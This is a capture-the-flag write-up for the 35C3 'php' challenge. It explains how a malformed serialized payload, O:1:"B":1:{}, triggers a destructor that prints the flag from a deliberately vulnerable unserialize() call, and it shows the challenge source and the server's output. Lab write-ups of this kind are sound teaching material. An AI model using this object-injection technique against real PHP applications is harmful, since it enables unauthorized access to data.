35c3ctf - php

php

PHP’s unserialization mechanism can be exceptional. Guest challenge by jvoisin.
Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at: nc 35.242.207.13 1

The tarball contains the following php code:

<?php

$line = trim(fgets(STDIN));
$flag = file_get_contents('./flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);
throw new Exception('Well that was unexpected…');
echo $a;

and the service running at 35.242.207.13 1 verifies that it’s running the above code.

➜ nc 35.242.207.13 1
test input
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in /home/user/php.php:16
Stack trace:
#0 {main}
  thrown in /home/user/php.php on line 16

From the source code and challenge description, it’s obvious this is a PHP deserialization challenge. Our goal is clear, serialize some PHP code that will force the destructor of B to be called, echo-ing the flag to our console, before the exception is thrown.

So how exactly do you call a class destructor in PHP? Well, the destructor will be called when the all references to the object are freed or when the script terminates properly - i.e. without any thrown exceptions. Since the exception will be thrown directly after the unserialize call, we can’t rely on the script properly terminating. We must call the __destruct() function ourselves, ensuring it’s done prior the the exception.

One last thing to note before we try any exploits - the @ symbol before unserialize(). For those unfamiliar, when @ is prepended to a function, any error messages that function may produce will be completely ignored (see: PHP Error Controls Operators). If we were to ignore this symbol we may still get the flag, but we’d miss the nuance of why we were able to get it.

Solution

From our static analysis, we have a solid idea on the attack vector for this challenge. First let’s verify our above analysis by creating a simple serialized object.

➜ php -a
Interactive shell

php > $flag = "35C3_test_flag_";
php > class B {
php { function __destruct() {
php { global $flag;
php { echo $flag;
php { }
php { }
php > $xpl = new B;
php > echo serialize($xpl);
O:1:"B":0:{}
php >

PHP serialized objects are structured as a key-value pairs. Breaking down our serialized object, we have an object B (of name length 1), with 0 properties. For more information, see: PHP Serialization and Fuzzing Unserialize.

With this knowledge, we can abuse the error suppression to create and destroy an object without causing the script to terminate. By sending @unserialize() a bad serial, e.g. O:1:"B":1:{} or O:1:"B":0:{b}, we force the code to instantiate a new object B and then free the object (i.e. call the destructor) due to a bad serial exception. The @ symbol will force the code to ignore the exception and continue executing.

➜ php nc 35.242.207.13 1
O:1:"B":1:{}
35C3_php_is_fun_php_is_fun
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in /home/user/php.php:16
Stack trace:
#0 {main}
 thrown in /home/user/php.php on line 16